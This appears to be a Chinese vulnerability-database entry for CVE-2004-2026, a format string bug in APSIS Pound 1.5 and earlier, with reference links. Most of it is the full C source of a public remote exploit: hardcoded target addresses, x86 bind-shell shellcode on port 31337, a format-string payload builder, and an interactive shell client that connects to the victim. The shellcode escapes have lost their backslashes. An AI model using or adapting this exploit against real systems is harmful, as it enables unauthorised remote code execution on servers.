APSIS Pound远程格式字符串漏洞

漏洞ID	1107921	漏洞类型	格式化字符串
发布时间	2004-05-03	更新时间	2005-10-20
CVE编号	CVE-2004-2026	CNNVD-ID	CNNVD-200412-435
漏洞平台	Linux	CVSS评分	7.5

|漏洞来源

https://www.exploit-db.com/exploits/24079
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200412-435

|漏洞详情

Pound1.5及之前版本的svc.c中的logmsg函数存在格式字符串漏洞。远程攻击者可以借助系统记录消息中的格式字符串说明符执行任意代码。

|漏洞EXP

source: http://www.securityfocus.com/bid/10267/info

APSIS Pound has been found to be prone to a remote format string vulnerability. The problem presents itself when Pound handles certain requests containing embedded format string specifiers. 

Ultimately this vulnerability could allow for execution of arbitrary code on the system implementing the affected software, which would occur in the security context of the server process.

/*
	Pound <=1.5 remote format string exploit (public version)
	by
	Nilanjan De - [email protected]
	Eye on Security Research Group, India, http://www.eos-india.net
			
	Vendor URL: http://www.apsis.ch/pound/
	
	Local exploit is only useful is pound is setuid
	The shellcode used doesn't break chroot
	if you need to break chroot, use a different shellcode
	
	To find jmpslot:
	For remote:
		objdump -R /usr/sbin/pound|grep pthread_exit|cut -d ' ' -f 1
	for local:
		objdump -R /usr/sbin/pound|grep exit|grep -v pthread|cut -d ' ' -f 1
		
	Note: In case of remote exploit, since the exploit occurs in one of the threads, you may need to modify this exploit to brute-force the RET address to make the exploit work. Since pound runs in daemon mode, brute forcing it is no problem.
*/


#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>

#define PORT 8888
#define BUFSIZE 1024
#define NOP 0x90
#define POUND "/usr/sbin/pound"
#define COMMAND "TERM=xterm; export TERM=xterm; id;uname -a;n"
#define LOCALHOST "127.0.0.1"
typedef enum {LOCAL,REMOTE} type_t;
struct target
{
	char *arch;
	unsigned long jmpslot;
	unsigned long ret;
	unsigned int align;
	unsigned int  offset;
 	type_t	type;
} targets[]=
	{
		{"Gentoo - Pound 1.5 remote",0x08055610,0xbf3eda54,3,7,REMOTE},
		{"Gentoo - Pound 1.5 local",0x08055618,0xbffff410,1,11,LOCAL},
		{NULL,0x00,0x00,0,0,0}
	};
	
/*
 x86 linux fork+portbind shellcode(port 31337)
*/
 
char shellcode[]=
	/* sys_fork() */
	"x31xc0"                      // xorl         %eax,%eax
	"x31xdb"                      // xorl         %ebx,%ebx
	"xb0x02"                      // movb         $0x2,%al
	"xcdx80"                      // int          $0x80
	"x38xc3"                      // cmpl         %ebx,%eax
	"x74x05"                      // je           0x5
	/* sys_exit() */
	"x8dx43x01"                  // leal         0x1(%ebx),%eax
	"xcdx80"                      // int          $0x80
	/* setuid(0) */
	"x31xc0"                      // xorl         %eax,%eax
	"x31xdb"                      // xorl         %ebx,%ebx
	"xb0x17"                      // movb         $0x17,%al
	"xcdx80"                      // int          $0x80
	/* socket() */
	"x31xc0"                      // xorl    %eax,%eax
	"x89x45x10"                  // movl    %eax,0x10(%ebp)(IPPROTO_IP = 0x0)
	"x40"                          // incl    %eax
	"x89xc3"                      // movl    %eax,%ebx(SYS_SOCKET = 0x1)
	"x89x45x0c"                  // movl    %eax,0xc(%ebp)(SOCK_STREAM = 0x1)
	"x40"                          // incl    %eax
	"x89x45x08"                  // movl    %eax,0x8(%ebp)(AF_INET = 0x2)
	"x8dx4dx08"                  // leal    0x8(%ebp),%ecx
	"xb0x66"                      // movb    $0x66,%al
	"xcdx80"                      // int     $0x80
	"x89x45x08"                  // movl    %eax,0x8(%ebp)

        /* bind()*/
        "x43"                          // incl    %ebx(SYS_BIND = 0x2)
        "x66x89x5dx14"              // movw    %bx,0x14(%ebp)(AF_INET = 0x2)
		  "x66xc7x45x16x7ax69"      // movw    $0x697a,0x16(%ebp)(port=31337)
        "x31xd2"                      // xorl    %edx,%edx
        "x89x55x18"                  // movl    %edx,0x18(%ebp)
        "x8dx55x14"                  // leal    0x14(%ebp),%edx
        "x89x55x0c"                  // movl    %edx,0xc(%ebp)
        "xc6x45x10x10"              // movb    $0x10,0x10(%ebp)(sizeof(struct sockaddr) = 10h = 16)
        "xb0x66"                      // movb    $0x66,%al
        "xcdx80"                      // int     $0x80
 
        /* listen() */
        "x40"                          // incl    %eax
        "x89x45x0c"                  // movl    %eax,0xc(%ebp)
        "x43"                          // incl    %ebx
        "x43"                          // incl    %ebx(SYS_LISTEN = 0x4)
        "xb0x66"                      // movb    $0x66,%al
        "xcdx80"                      // int     $0x80
 
        /* accept() */
        "x43"                          // incl    %ebx
        "x89x45x0c"                  // movl    %eax,0xc(%ebp)
        "x89x45x10"                  // movl    %eax,0x10(%ebp)
        "xb0x66"                      // movb    $0x66,%al
        "xcdx80"                      // int     $0x80
        "x89xc3"                      // movl    %eax,%ebx
 
        /* dup2() */
        "x31xc9"                      // xorl    %ecx,%ecx
        "xb0x3f"                      // movb    $0x3f,%al
        "xcdx80"                      // int     $0x80
        "x41"                          // incl    %ecx
        "x80xf9x03"                  // cmpb    $0x3,%cl
        "x75xf6"                      // jne     -0xa
 
        /* execve() */
        "x31xd2"                      // xorl    %edx,%edx
        "x52"                          // pushl   %edx
        "x68x6ex2fx73x68"          // pushl   $0x68732f6e
        "x68x2fx2fx62x69"          // pushl   $0x69622f2f
        "x89xe3"                      // movl    %esp,%ebx
        "x52"                          // pushl   %edx
        "x53"                          // pushl   %ebx
        "x89xe1"                      // movl    %esp,%ecx
        "xb0x0b"                      // movb    $0xb,%al
        "xcdx80";                     // int     $0x80

int
connect_to(char *host, unsigned int port)
{
	struct hostent *h;
	struct sockaddr_in sin;
	int sock;
	
	if((h=gethostbyname(host))==NULL)
	{
		printf("- Error: Unable to resolve %sn",host);		
		exit(EXIT_FAILURE);
	}
	printf("+ Resolved %sn",host);
	sin.sin_addr=*((struct in_addr *)h->h_addr);
	sin.sin_family=AF_INET;
	sin.sin_port=htons((u_short)port);
	if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))<0)
	{
		perror("socket");exit(EXIT_FAILURE);
	}	
	if(connect(sock,(struct sockaddr*)&sin,sizeof(sin))<0)
	{
		perror("connect");exit(EXIT_FAILURE);
	}
	printf("+ Connectedn");
	return sock;
}

int sh(int sockfd) {
   char snd[1024], rcv[1024];
   fd_set rset;
   int maxfd, n;
 
   strcpy(snd, COMMAND "n");
   write(sockfd, snd, strlen(snd));
 
   for (;;) {
      FD_SET(fileno(stdin), &rset);
      FD_SET(sockfd, &rset);
 
      maxfd = ( ( fileno(stdin) > sockfd )?fileno(stdin):sockfd ) + 1;
      select(maxfd, &rset, NULL, NULL, NULL);
 
      if (FD_ISSET(fileno(stdin), &rset)) {
         bzero(snd, sizeof(snd));
         fgets(snd, sizeof(snd)-2, stdin);
         write(sockfd, snd, strlen(snd));
      }
                                                                                
      if (FD_ISSET(sockfd, &rset)) {
         bzero(rcv, sizeof(rcv));
                                                                                
         if ((n = read(sockfd, rcv, sizeof(rcv))) == 0) {
            printf("+ Good Bye!n");
            return 0;
         }
                                                                                
         if (n < 0) {
            perror("read");
            exit(EXIT_FAILURE);
         }
                                                                                
         fputs(rcv, stdout);
         fflush(stdout);
      }
   }
}
                                                                                

void
usage(char *progname)
{
	int i;
	printf("Usage: %s <type> [RemoteHost]n",progname);
	printf("Available types:n");
	for(i=0;targets[i].arch!=NULL;i++)
	{
		printf("t%dt-t%sn",i,targets[i].arch);	
	}
	exit(EXIT_FAILURE);
}
int
testifworked()
{

}
int main(int argc,char **argv)
{
	char *victim;
	int s;
	int i;
	int high,low;
	unsigned int port=PORT;
	struct target *t;
	char buf[BUFSIZE];
	if(argc<2) usage(argv[0]);
	i=atoi(argv[1]);
	if((i<0)||(i>=(sizeof(targets)/sizeof(struct target))-1))
	{
		printf("- Invalid target typen");
		exit(EXIT_FAILURE);
	}
	t=&targets[i];

	high=(t->ret & 0xffff0000) >> 16;
	low=(t->ret & 0x0000ffff);
	
	memset(buf,NOP,BUFSIZE-1);
	buf[BUFSIZE-1]=0;
	
	if(t->type==REMOTE)
	{
		if(argc<3) usage(argv[0]);
		victim=argv[2];
	}
							
	
	if(high>low)
	{
		*((unsigned long *)(buf+t->align))=t->jmpslot;
		*((unsigned long *)(buf+t->align+4))=t->jmpslot+2;
	}
	else
	{
		*((unsigned long *)(buf+t->align))=t->jmpslot+2;
		*((unsigned long *)(buf+t->align+4))=t->jmpslot;
		high^=low^=high^=low;
	}
	buf[t->align+9]=0;
	
	if(t->type==REMOTE)
		low-=0x16+t->align;
	else
		low-=0x28+t->align;
	i=snprintf(buf+t->align+9,BUFSIZE-1,"%%%dx%%%d$hn%%%dx%%%d$hn",low,t->offset,high-low,t->offset+1);
	buf[t->align+9+i]=NOP;
	memcpy(buf+BUFSIZE-6-strlen(shellcode),shellcode,strlen(shellcode));
	buf[BUFSIZE-3]=buf[BUFSIZE-5]='r';
	buf[BUFSIZE-2]=buf[BUFSIZE-4]='n';
	
	if(t->type==LOCAL)
	{	
		if(!fork())
		{
			execl(POUND,"pound","-f",buf,0);
			perror("exec");exit(EXIT_FAILURE);
		}
		victim=LOCALHOST;
	}
	else
	{
		printf("+ Connecting to victimn");
		s=connect_to(victim,port);
		printf("+ Attach?");
		scanf("%c",&i);
		printf("+ Sending evil buffern");
		if(send(s,buf,BUFSIZE,0)!=BUFSIZE)
		{
			perror("send");exit(EXIT_FAILURE);
		}
		close(s);
	}
	
	sleep(1);
	printf("+ Checking if exploit workedn");
	s=connect_to(victim,31337);
	sh(s);
	exit(EXIT_SUCCESS);
}

|参考资料

来源:BID
名称:10267
链接:http://www.securityfocus.com/bid/10267
来源:GENTOO
名称:GLSA-200405-08
链接:http://security.gentoo.org/glsa/glsa-200405-08.xml
来源:SECUNIA
名称:11528
链接:http://secunia.com/advisories/11528
来源:XF
名称:pound-logmsg-format-string(16033)
链接:http://xforce.iss.net/xforce/xfdb/16033
来源:OSVDB
名称:5746
链接:http://www.osvdb.org/5746
来源:www.apsis.ch
链接:http://www.apsis.ch/pound/pound_list/archive/2003/2003-12/1070234315000#1070234315000
来源:SECTRACK
名称:1010034
链接:http://securitytracker.com/id?1010034
来源:FULLDISC
名称:20040507Pound<=1.5RemoteExploit(Formatstringbug)
链接:http://archives.neohapsis.com/archives/fulldisclosure/2004-05/0343.html

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